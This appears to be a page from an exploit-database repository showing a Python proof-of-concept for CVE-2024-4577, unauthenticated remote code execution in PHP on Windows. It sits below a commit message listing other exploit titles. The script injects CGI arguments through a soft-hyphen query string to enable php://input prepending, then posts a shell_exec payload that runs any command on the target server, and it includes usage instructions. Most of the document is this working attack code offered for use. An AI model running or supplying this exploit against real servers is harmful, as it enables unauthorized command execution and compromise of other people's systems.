1064b5c455
12 changes to exploits/shellcodes/ghdb Zyxel IKE Packet Decoder - Unauthenticated Remote Code Execution (Metasploit) Rebar3 3.13.2 - Command Injection AEGON LIFE v1.0 Life Insurance Management System - SQL injection vulnerability. AEGON LIFE v1.0 Life Insurance Management System - Stored cross-site scripting (XSS) AEGON LIFE v1.0 Life Insurance Management System - Unauthenticated Remote Code Execution (RCE) Boelter Blue System Management 1.3 - SQL Injection Carbon Forum 5.9.0 - Stored XSS PHP < 8.3.8 - Remote Code Execution (Unauthenticated) (Windows) WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS) (Authenticated) XMB 1.9.12.06 - Stored XSS ZwiiCMS 12.2.04 - Remote Code Execution (Authenticated)
63 lines
No EOL
2.1 KiB
Python
Executable file
63 lines
No EOL
2.1 KiB
Python
Executable file
# Exploit Title: PHP Windows Remote Code Execution (Unauthenticated)
|
|
# Exploit Author: Yesith Alvarez
|
|
# Vendor Homepage: https://www.php.net/downloads.php
|
|
# Version: PHP 8.3,* < 8.3.8, 8.2.*<8.2.20, 8.1.*, 8.1.29
|
|
# CVE : CVE-2024-4577
|
|
|
|
from requests import Request, Session
|
|
import sys
|
|
import json
|
|
|
|
|
|
|
|
def title():
|
|
print('''
|
|
|
|
_______ ________ ___ ___ ___ _ _ _ _ _____ ______ ______
|
|
/ ____\ \ / / ____| |__ \ / _ \__ \| || | | || | | ____|____ |____ |
|
|
| | \ \ / /| |__ ______ ) | | | | ) | || |_ ______| || |_| |__ / / / /
|
|
| | \ \/ / | __|______/ /| | | |/ /|__ _|______|__ _|___ \ / / / /
|
|
| |____ \ / | |____ / /_| |_| / /_ | | | | ___) | / / / /
|
|
\_____| \/ |______| |____|\___/____| |_| |_| |____/ /_/ /_/
|
|
|
|
|
|
Author: Yesith Alvarez
|
|
Github: https://github.com/yealvarez
|
|
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
|
|
Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2024-4577/exploit.py
|
|
''')
|
|
|
|
|
|
def exploit(url, command):
|
|
payloads = {
|
|
'<?php echo "vulnerable"; ?>',
|
|
'<?php echo shell_exec("'+command+'"); ?>'
|
|
}
|
|
headers = {
|
|
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0',
|
|
'Content-Type': 'application/x-www-form-urlencoded'}
|
|
s = Session()
|
|
for payload in payloads:
|
|
url = url + "/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
|
|
req = Request('POST', url, data=payload, headers=headers)
|
|
prepped = req.prepare()
|
|
del prepped.headers['Content-Type']
|
|
resp = s.send(prepped,
|
|
verify=False,
|
|
timeout=15)
|
|
#print(prepped.headers)
|
|
#print(url)
|
|
#print(resp.headers)
|
|
#print(payload)
|
|
print(resp.status_code)
|
|
print(resp.text)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
title()
|
|
if(len(sys.argv) < 2):
|
|
print('[+] USAGE: python3 %s https://<target_url> <command>\n'%(sys.argv[0]))
|
|
print('[+] USAGE: python3 %s https://192.168.0.10\n dir'%(sys.argv[0]))
|
|
exit(0)
|
|
else:
|
|
exploit(sys.argv[1],sys.argv[2]) |